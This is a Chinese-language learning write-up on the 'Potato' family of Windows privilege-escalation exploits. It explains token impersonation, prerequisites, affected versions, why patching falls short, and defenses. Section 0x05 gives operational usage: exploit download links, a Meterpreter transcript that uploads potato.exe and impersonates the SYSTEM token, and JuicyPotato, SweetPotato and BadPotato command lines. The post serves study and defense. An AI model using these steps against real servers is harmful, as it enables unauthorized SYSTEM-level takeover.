土豆提权系列的学习理解

admin 2024年10月13日21:47:34评论64 views字数 4820阅读16分4秒阅读模式

土豆提权系列的学习理解

对于每一个知识点,我都是本着 what、why、how 的原则进行学习、理解的。之所以写下此文,源于一个面试问题 “为什么即使打了补丁,土豆提权依旧好用?”
这个问题我回答不上来,于是动了心思,决定深入研究关于土豆提权系列。而且,在这之前,我对于土豆提权,一直停留在使用其工具上,也就是在实战中,我基本把exe上传到目标服务器,然后执行就完事了。可见,我只是个脚本小子,对于土豆提权的理解极其极其浅显。
文中若有不足之处或者某些知识点理解不到位的情况,望各位师傅斧正土豆提权系列的学习理解
    下面进入正文大纲,我会针对以下问题思路进行描述:
  1. 什么是土豆提权
  2. 土豆提权的原理
  3. 土豆提权的利用条件
  4. 烂土豆(MS16-075)的影响版本
  5. 各版本的土豆提权工具(利用方法)
  6. 为什么即使打了补丁,土豆提权依旧好用
  7. 如何防御土豆提权

0x01 什么是土豆提权

土豆提权最开始的版本就是RottenPotato,漏洞编号为MS16-075,可以将Windows工作站上的特权从最低级别提升到最高权限,即 NT AUTHORITY SYSTEM 权限。

RottenPotato工具:(以下三个版本,随意选择)https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS16-075/potato.exehttps://github.com/foxglovesec/RottenPotatohttps://github.com/breenmachine/RottenPotatoNG/blob/master/RottenPotatoEXE/x64/Release/MSFRottenPotato.exe

0x02 土豆提权的原理

土豆系列提权的主要原理是诱导高权限访问低权限的系统对象,从而导致低权限的对象可以模拟高权限对象的访问令牌,进而可以用访问令牌创建进程,达到以高权限执行命令的目的。

其实原理很简单,这里通俗的描述一下你就明白了,就是一位旅客想要开总统房,但是职级不够,于是派自己的美女秘书吸引酒店的高管,使得两者之间有关系,借助这一层关系,模拟高管的权限,对酒店前台声称自己和酒店高管有关系,需要开总统房,这样就达到我们的目的了。

这里的 “派自己的美女秘书吸引酒店的高管” 就是一种诱导的方法,“对酒店前台声称自己和酒店高管有关系” 就是访问令牌的模拟。访问令牌的模拟才是关键,关于访问令牌模拟(Access Token Impersonation),@倾旋师傅的一篇文章已经对此解释过,我觉得其描述的更加好,我这里也不摘抄了,放下链接自己浏览学习。

https://payloads.online/archivers/2021-01-31/1#0x07-%E8%AE%BF%E9%97%AE%E4%BB%A4%E7%89%8C%E6%A8%A1%E6%8B%9Faccess-token-impersonation

0x03 土豆提权的利用条件

  1. 需要支持SeImpersonate或者SeAssignPrimaryToken权限(通常情况下IIS、MSSQL具有这两个权限)

  2. DCOM

  3. 本地支持RPC或者远程服务器支持RPC并能成功登录

  4. 够找到可用的COM对象

第一个条件的判断方法:

whoami /priv | findstr "SeImpersonate SeAssignPrimaryToken"whoami /privwhoami /all

土豆提权系列的学习理解

第二个条件的判断方法:

打开运行窗口,输入 services.msc 打开服务列表,查找DCOM服务

土豆提权系列的学习理解

土豆提权系列的学习理解

第三个条件的判断方法:

打开运行窗口,输入 services.msc 打开服务列表,查找RPC服务

土豆提权系列的学习理解

土豆提权系列的学习理解

如果系统禁用了RPC,也不一定无法提权,但是需要满足另外一个条件,就是要找到其它系统中的用户是拥有一定权限能进行远程RPC登录的。而Windows Server 2008/2012、Windows 7、Windows 8等,在默认配置下,允许135端口的入站规则即可进行远程RPC登录。

第四个条件的判断方法:

打开此链接:

https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

根据你当前遇到的目标系统类型进行匹配

土豆提权系列的学习理解

可用的COM组件从列表中寻找,实际上是为了寻找COM组件的CLSID值。

然而,在实战环境下,其实大多数我们通常不会去判断这些条件是否成立,通常都是上传提权工具直接执行命令,说白了就是盲测。虽然利用方式非常简单,但是有时你会遇到一些错误,例如获取Access Token失败、RpcOpenPrinter Fail,导致问题产生的原因比较多,如果涉及RPC的,要查看RPC服务到底开启没有,当然,在webshell上是很难判断的,只能通过查看端口开放情况,看有没有开启111、135端口。如果是获取Access Token失败,那么就没办法提权了,因为令牌假冒、令牌窃取都是利用Windows的令牌模拟功能获取其他用户的令牌来创建进程,而现在利用Windows的令牌模拟功能获取不到用户令牌,就没办法创建进程,就无法提权。

0x04 烂土豆(MS16-075)的影响版本

Windows Vista Service Pack 2Windows Vista x64 Edition Service Pack 2Windows Server 2008 for 32-bit Systems Service Pack 2Windows Server 2008 for x64-based Systems Service Pack 2Windows Server 2008 for Itanium-based Systems Service Pack 2Windows Server 2008 R2 for x64-based Systems Service Pack 1Windows Server 2008 R2 for Itanium-based Systems Service Pack 1Windows 7 for 32-bit Systems Service Pack 1Windows 7 for x64-based Systems Service Pack 1Windows 8.1 for 32-bit SystemsWindows 8.1 for x64-based SystemsWindows RT 8.1Windows Server 2012Windows Server 2012 R2Windows 10 for 32-bit SystemsWindows 10 for x64-based SystemsWindows 10 Version 1511 for 32-bit SystemsWindows 10 Version 1511 for x64-based Systems

来自官方:

https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-075

在实战情况下的效果却是,只有Windows 7 x86和x64系统上能够稳定立即提权,Windows Server 2008 R2 x64和Windows Server 2012 x64虽然可以提权,但是等待的时间比较长,这分别和Windows Updata时间、Windows更新证书列表时间有关。而Windows 8和10的成功率非常低,在实战当中不妨一试。

0x05 各版本的土豆提权工具(利用方法)

利用方法都比较简单,以下展示的都是webshell版,更贴合实战情况,按照命令执行即可。

    (1)RottenPotato

下载地址:https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS16-075/potato.exe

利用MSF接收shell,接着在控制台输入以下命令:

msf exploit(web_delivery) > set ExitOnsession falsemsf exploit(web_delivery) > runmeterpreter > getuidServer username: IIS APPPOOLDefaultAppPoolmeterpreter > getprivs===========================================================Enabled Process Privileges===========================================================SeAssignPrimaryTokenPrivilegemeterpreter > upload /root/potato.exe C:UsersPublicmeterpreter > cd C:\Users\Publicmeterpreter > use incognitometerpreter > list_tokens -uNT AUTHORITYIUSRmeterpreter > execute -cH -f ./potato.exemeterpreter > list_tokens -uNT AUTHORITYIUSRNT AUTHORITYSYSTEMmeterpreter > impersonate_token "NT AUTHORITY\SYSTEM"meterpreter > getuidServer username: NT AUTHORITYSYSTEM

    (2)JuicyPotato(RottenPotatoNG加强版)

下载地址:https://github.com/uknowsec/JuicyPotato使用方法:JuicyPotato.exe -a "whoami"

土豆提权系列的学习理解

    (3)SweetPotato

下载地址:https://github.com/uknowsec/SweetPotat使用方法:SweetPotato.exe -a whoami

土豆提权系列的学习理解

    (4)BadPotato

下载地址:https://github.com/BeichenDream/BadPotato使用方法:BadPotato.exe whoami

土豆提权系列的学习理解

这里提示 “RpcOpenPrinter Fail”,报错原因是我当前系统版本为Windows Server 2008 R2。Windows Server 2008以上默认是开启状态的,且此工具用于Windows Server 2012-2019和Windows 8/10。如果Windows Server 2012却还是利用失败,那很大原因是打印机服务被管理员关闭了。这里换成Windows Server 2012系统测试成功。

土豆提权系列的学习理解

0x06 为什么即使打了补丁,土豆提权依旧好用

关于这个问题,我的理解就是,因为土豆提权的原理就是诱导高权限访问低权限的系统对象,从而导致低权限的对象可以模拟高权限对象的访问令牌,进而可以用访问令牌创建进程,达到以高权限执行命令的目的。此处的关键在于模拟访问令牌,只要达到令牌窃取创建进程的一些前提条件,就有机会利用此漏洞提权。而补丁是通过更正 Windows Server 消息块 (SMB) 服务器处理凭据转发请求的方式来解决此漏洞,并没有针对权限进行严格控制,所以才导致即使打了补丁,土豆提权依旧实用。

0x07 如何防御土豆提权

(1) 及时更新补丁

(2) 对SeImpersonate、SeAssignPrimaryToken权限进行严格控制

(3) 更新最新Windows系统(不太现实)

站在企业的角度出发,更新最新Windows系统/禁用DCOM、RPC或者为每一个COM对象配置属性等修复方法都不太现实,毕竟要结合风险、业务、网络、稳定等各种因素考虑,防御土豆提权的关键在于权限控制,当然,更新补丁也是非常有效的措施。

原文始发于微信公众号(Snaker独行者):土豆提权系列的学习理解

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月13日21:47:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   土豆提权系列的学习理解https://cn-sec.com/archives/947058.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息